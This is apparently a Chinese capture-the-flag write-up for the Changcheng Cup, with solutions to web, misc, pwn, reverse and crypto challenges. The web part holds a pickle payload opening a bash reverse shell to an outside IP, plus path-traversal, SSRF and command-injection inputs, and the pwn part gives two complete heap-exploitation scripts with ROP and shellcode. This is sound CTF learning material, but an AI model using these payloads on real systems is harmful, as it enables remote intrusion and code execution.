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Web

ez_python

ez_python 利用?pic读源码。
读源码之后可以了解到是在cookie[‘user’]处 pickle.loads
并且ban了Reduce。
自己构造下opcode，反弹shell即可。

import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/82.156.18.214/8888 0>&1"'
o.'''
print(base64.b64encode(data))

java_url

题目给出了一个下载路由，优先找web.xml

GET /download?filename=../../../../WEB-INF/web.xml HTTP/1.1

之后找testURL 去下载class
反编译发现在url处可以SSRF。

绕过一下

GET /testURL?url=%0afile:///flag

得到flag

Misc

签到

hex->base64

你这flag保熟吗

binwalk 2个图片
发现其中有个password.xls
和一个Hint
通过hint我们可以猜到是希尔伯特曲线
解密即可。

char = []
temp = []
new = []
n=8
pos_=[-1,-1]
dir_=0
result = ''
count = 0
f = open("a.txt",'r')
for i in range(256):
    temp.append(f.readline())
for i in range(256):
    temp[i] = temp[i].replace('\n','')

count = 0
for i in range(256):
    t=''
    for j in range(255,-1,-1):
        t=t+temp[j][i]
    new.append(t)
    count = count +1
count = 0
for i in range(256):
    t=''
    for j in range(255,-1,-1):
        t=t+new[j][i]
    char.append(t)
    count = count +1

result = result + char[255][255]
def move(direction):
    global result
    global pos_
    if direction==0:
        pos_[1]=pos_[1]-1
    if direction==1:
        pos_[0]=pos_[0]+1
    if direction==2:
        pos_[1]=pos_[1]+1
    if direction==3:
        pos_[0]=pos_[0]-1
    print((pos_[0]+2**n-1),(pos_[1]+2**n-1))
    result = result + char[pos_[0]][pos_[1]]
def hilL(n):
    global pos_
    global dir_
    if n==0:
        pass
    if n>0:
        dir_ = (dir_ +1)%4
        hilR(n-1)
        move(dir_)

        dir_ = (dir_-1)%4
        hilL(n-1)
        move(dir_)

        hilL(n-1)
        dir_ = (dir_ -1 )%4
        move(dir_)

        hilR(n-1)
        dir_ = (dir_+1)%4
def hilR(n):
    global pos_
    global dir_
    if n==0:
        pass
    if n>0:
        dir_ = (dir_ - 1 ) % 4
        hilL(n - 1)
        move(dir_)

        dir_ = (dir_ + 1) % 4
        hilR(n - 1)
        move(dir_)

        hilR(n - 1)
        dir_ = (dir_ + 1) % 4
        move(dir_)

        hilL(n - 1)
        dir_ = (dir_ - 1) % 4
hilR(n)
print(result)
print()

不断base64后得到压缩包密码
得到压缩包密码后发现是brainfuck
并没有把flag输出出来，而是存到了内存里。

锘?include<stdio.h>
#include<string.h>
using namespace std;
struct pair
{
    unsigned int a;    //[
    unsigned int b; //]
};
pair loop_tbl[1000];
unsigned int tbl_size=0;
unsigned int stack[1000],stack_ptr=0;
void push_pair(unsigned int a,unsigned int b)
{
    pair x;
    x.a=a;
    x.b=b;
    loop_tbl[tbl_size++]=x;
}
bool ParseLoop(unsigned char *opcode,unsigned int len)
{
    for(int i=0;i<len;i++)
    {
        if(opcode[i]=='[')
            stack[stack_ptr++]=i;
        if(opcode[i]==']')
        {
            if(stack_ptr==0)
                return false;
            push_pair(stack[--stack_ptr],i);
        }
    }
    if(stack_ptr!=0)
        return false;
    return true;
}
unsigned int FindAddress(unsigned int pc,unsigned char chr)
{
    if(chr=='[')
    {
        for(int i=0;i<tbl_size;i++)
            if(loop_tbl[i].a==pc)
                return loop_tbl[i].b;
        return -1;
    }
    else if(chr==']')
    {
        for(int i=0;i<tbl_size;i++)
            if(loop_tbl[i].b==pc)
                return loop_tbl[i].a;
        return -1;
    }
    else
        return -1;
}
bool Fuck2C(unsigned char *opcode,unsigned char *mem,unsigned int maxsize)
{
    unsigned long long times=0;
    unsigned int pc=0,ptr=0,bk=0;
    FILE *fp=fopen("log.txt","w");
    while(opcode[pc]!=0)
    {
        times++;
        for(int j=0;j<bk;j++)
            fprintf(fp,"\t");
        if(opcode[pc]=='>')
        {
            fprintf(fp,"ptr++;\n");
            pc+=1;
        }
        else if(opcode[pc]=='<')
        {
            fprintf(fp,"ptr--;\n");
            pc+=1;
        }
        else if(opcode[pc]=='+')
        {
            if(ptr>maxsize)
                return false;
            fprintf(fp,"mem[ptr]++;\n");
            pc+=1;
        }
        else if(opcode[pc]=='-')
        {
            if(ptr>maxsize)
                return false;
            fprintf(fp,"mem[ptr]--;\n");
            pc+=1;
        }
        else if(opcode[pc]=='.')
        {
            if(ptr>maxsize)
                return false;
            fprintf(fp,"putchar(mem[ptr]);\n");
            pc+=1;
        }
        else if(opcode[pc]==',')
        {
            if(ptr>maxsize)
                return false;
            fprintf(fp,"mem[ptr]=getchar();\n");
            pc+=1;
        }
        else if(opcode[pc]=='[')
        {
            unsigned int t=FindAddress(pc,opcode[pc]);
            if(t<0 || ptr>maxsize)
                return false;
            fprintf(fp,"while(mem[ptr]){\n");
            bk+=1;
            pc+=1;
        }
        else if(opcode[pc]==']')
        {
            unsigned int t=FindAddress(pc,opcode[pc]);
            if(t<0 || ptr>maxsize)
                return false;
            bk-=1;
            fprintf(fp,"}\n",t+1);
            pc+=1;
        }
        else 
            return false;

    }
    fclose(fp);
    printf("\nloop times:%lld\n",times);
    return true;
}
bool RunFuckVMCore(unsigned char *opcode,unsigned char *mem,unsigned int maxsize)
{
    unsigned long long times=0;
    unsigned int pc=0,ptr=0;
    unsigned int max_ptr=0;
    while(opcode[pc]!=0)
    {
        times++;
        if(max_ptr<ptr)
            max_ptr=ptr;
        if(opcode[pc]=='>')
        {
            ptr++;
            pc+=1;
        }
        else if(opcode[pc]=='<')
        {
            ptr--;
            pc+=1;
        }
        else if(opcode[pc]=='+')
        {
            if(ptr>maxsize)
                return false;
            mem[ptr]++;
            pc+=1;
        }
        else if(opcode[pc]=='-')
        {
            if(ptr>maxsize)
                return false;
            mem[ptr]--;
            pc+=1;
        }
        else if(opcode[pc]=='.')
        {
            if(ptr>maxsize)
                return false;
            putchar((char)mem[ptr]);
            pc+=1;
        }
        else if(opcode[pc]==',')
        {
            if(ptr>maxsize)
                return false;
            mem[ptr]=getchar();
            pc+=1;
        }
        else if(opcode[pc]=='[')
        {
            unsigned int t=FindAddress(pc,opcode[pc]);
            if(t<0 || ptr>maxsize)
                return false;
            if(!mem[ptr])
                pc=t+1;
            else 
                pc+=1;
        }
        else if(opcode[pc]==']')
        {
            unsigned int t=FindAddress(pc,opcode[pc]);
            if(t<0 || ptr>maxsize)
                return false;
            if(mem[ptr])
                pc=t+1;
            else
                pc+=1;
        }
        else 
            return false;
    }
    puts("");
    for(int i=0;i<50;i++)
        printf("%c",mem[i]);
    puts("");
    printf("\nloop times:%lld\nmax pointer:%d\n",times,max_ptr);
    return true;
}
unsigned char memory[25565];
unsigned char op[]=">+++++++++[<+++++++++++++>-]>+++[<+++++++++++++++++++++++++++++++++++++>-]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>++++[<+++++++++++++++++++++++++++++>-]>+++[<+++++++++++++++++++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<+++++++++++++++++++>-]>++[<+++++++++++++++++++++++++++++++++++++++++>-]>+++++++++++[<+++++++++++>-]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++[<+++++++++++++++++++>-]>++++++++[<+++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++[<+++++++++++++++++++>-]>+++++++[<+++++++>-]>++++++++[<+++++++++>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>-]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>";
bool RunVM(unsigned char *strs)
{
    tbl_size=0;
    stack_ptr=0;
    if(!ParseLoop(op,strlen((char*)op)))
        return false;
    if(!RunFuckVMCore(strs,memory,25565))
        return false;
    return true;
}
int main()
{
    RunVM(op);
    return 0;
}

搜一下uzot开头的字符串特征
得到埃特巴什码

然后再大小写对应一下。

pyjail3

观察源码，发现在calc部分中，exec中是直接字符串拼接，
且里面的的import {module}中module未经任何校验，
导致可以RCE（大概是非预期解？）
令module="os;print(os.system("ls /"))"即可。

from pwn import *

r = remote("47.104.175.110",41234)
r.sendline("2")
poc = '''os;print(os.system("ls /"))'''
r.sendline(poc)
r.interactive()

Pwn

K1ng_in_h3Ap_I

off by one
uaf
造成chunk overlap以后，申请相应大小的chunk让unsorted bin的fd落到fastbin的fd上，利用printf地址后三个字节计算出stdout地址，partial overwrite将fastbin指向stdout上方，然后向stdout写入相应数据泄露libc基址。
接下来直接利用uaf改fastbin的fd，申请到malloc_hook前面，在realloc_hook写one_gadget，在malloc_hook写realloc+12调整栈桢打one_gadget即可

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = remote('47.104.175.110',20066)
#r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def add(idx, sz):

    r.sendlineafter('>> ', str(1))
    r.sendlineafter('input index:', str(idx))

    r.sendlineafter('input size:', str(sz))

def delete(idx):
    r.sendlineafter('>> ', str(2))
    r.sendlineafter('input index:', str(idx))

def edit(idx, ct):

    r.sendlineafter('>> ', str(3))

    r.sendlineafter('input index:', str(idx))

    r.sendafter('input context:', ct)


def magic():
    r.sendlineafter('>> ', str(666))

magic()
r.recvuntil('0x')
addr = int(r.recv(6), 16)
stdout = (addr&0xffff)-0x1f0-0x43


add(0, 0x18)
add(1, 0x18)
add(2, 0x68)
add(3, 0x18)
add(4, 0x18)
add(8, 0x68)
edit(0, 'A'*0x18+p8(0x91))
delete(1)
delete(2)
add(1, 0x18)
edit(2, p16(stdout)+'\n')
add(5, 0x68)
add(6, 0x68)
edit(6, '\x00'*0x23+p64(0)*2+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')
libc.address = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c5600
print hex(libc.address)

malloc_hook = libc.symbols['__malloc_hook']
realloc = libc.symbols['realloc']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ogg = libc.address+one[1]

delete(8)
edit(8, p64(malloc_hook-0x23)+'\n')
add(7, 0x68)
add(8, 0x68)
edit(8, 'A'*0xb+p64(ogg)+p64(realloc+12)+'\n')

r.sendline('1')
sleep(0.5)
r.sendline('9')
sleep(0.5)
r.sendline('50')

r.interactive()

K1ng_in_h3Ap_II

uaf，开了沙箱
伪造size位，uaf改tcache fd指向fake size，拿到fake chunk，再释放掉，得到一块unsorted bin，填充数据以后show拿到基址
同样uaf，利用tcache向free_hook写入setcontext+53，并利用两块chunk在相应偏移处布置数据，从而向fakersp读入数据并进行rop，执行mprotect后orw读出flag

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./pwn')
r = remote('47.104.175.110',61608)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def add(idx, sz):
    r.sendlineafter('>> ', str(1))
    r.sendlineafter('input index:', str(idx))
    r.sendlineafter('input size:', str(sz))

def delete(idx):
    r.sendlineafter('>> ', str(2))
    r.sendlineafter('input index:', str(idx))

def edit(idx, ct):
    r.sendlineafter('>> ', str(3))
    r.sendlineafter('input index:', str(idx))
    r.sendafter('input context:', ct)

def show(idx):
    r.sendlineafter('>> ', str(4))
    r.sendlineafter('input index:', str(idx))

for i in range(13):
    add(i, 0x58)
add(14, 0x58)#last one
edit(0, p64(0)+p64(0x471))

delete(1)
delete(2)
edit(2, b'\x80')
add(1, 0x58)
add(2, 0x58)
delete(2)
edit(0, 'A'*0x10)
show(0)
r.recvuntil('A'*0x10)
libc.address = u64(r.recv(6).ljust(8, '\x00'))-96-0x10-libc.symbols['__malloc_hook']
print 'libc_base ===> ', hex(libc.address)
free_hook = libc.symbols['__free_hook']
setcontext = libc.symbols['setcontext']+53
syscall = libc.symbols['syscall']+23


edit(0, p64(0)+p64(0x471))

delete(1)
delete(3)
edit(3, p64(free_hook))

fake_rsp = free_hook&0xfffffffffffff000
edit(9, p64(0)+p64(0)+p64(fake_rsp)+p64(0)*2+p64(0x1000)+
    p64(0)*2+p64(fake_rsp)+p64(syscall))
add(13, 0x58)
add(14, 0x58)
edit(14, p64(setcontext))
#gdb.attach(r)
delete(8)
prdi_ret = libc.search(asm("pop rdi\nret")).next()
prsi_ret = libc.search(asm("pop rsi\nret")).next()
prdx_ret = libc.search(asm("pop rdx\nret")).next()
prax_ret = libc.search(asm("pop rax\nret")).next()
jmp_rsp = libc.search(asm("jmp rsp")).next()
mprotect_addr = libc.sym['mprotect']

payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall) #mprotect(fake_rsp,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,fake_rsp+0x300,0x30))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x30))
sleep(0.5)
r.send(payload)

r.interactive()

Reverse

JUST_cmp_re

进入就能看到flag{**}
然后随便点了点函数发现有一个函数中有移位操作。虽然完全没有调用。但是也不懂是啥意思，就和上面的flag做一下操作了。

a=[0,   0,   0,   0,   0,  55,   7,  10,  55,  10,  8,  10,   6,   6,  11,  56,   7,  10,  59,   8,
   56,  14,  15,  59,  58,  10,  11,   6,   9,   7,
   59,  55,  13,  15,   7,  56,  15,   0
]
flag='flag{********************************}'
result=''
for i in range(0,len(flag)):
    result+=chr(ord(flag[i])+a[i])

print(result)

Funny_js

quickjs 2020-01-19的版本，dump出字节码

然后编译对应版本quickjs，使用qjsc生成一个模板，然后替换字节码

稍微修改一下quickjs的源码，添加一个dump的函数到执行字节码的函数之前

然后再编译，生成elf文件，执行就会输出opcode的可读形式

然后逆向发现是一个rc4算法，密钥是2021quickjs_happygame，然后密文是sn数组里的值，直接从字节码中取出

RC4后还要一个异或，直接RC4解密，异或39即可得到flag

Crypto

baby_rsa

第一部分把小的 m 和 v 爆破一下就可以了

第二部分直接在给的第三个数上解就可以

c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311
e = 65537

for v in range(300):
    for m in range(300):
        p = pow(v, (m + 1)) - pow((v + 1), m)
        if 1022 < p.bit_length() < 1026 and isPrime(p) and \
                b'flag{' in long_to_bytes(pow(c, inverse(e, p - 1), p)):
            print(long_to_bytes(pow(c, inverse(e, p - 1), p)).decode(), end='')
            break

c = 40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083
n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
phi = 190 * 192 * 627382 * 1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710490
print(long_to_bytes(pow(c, inverse(e, phi), n)).decode())
# flag{8102c552-3d78-4a42-b659-0c96ef827f05}

长城杯 wp

译文声明

Web

ez_python

java_url

Misc

签到

你这flag保熟吗

pyjail3

Pwn

K1ng_in_h3Ap_I

K1ng_in_h3Ap_II

Reverse

JUST_cmp_re

Funny_js

Crypto

baby_rsa

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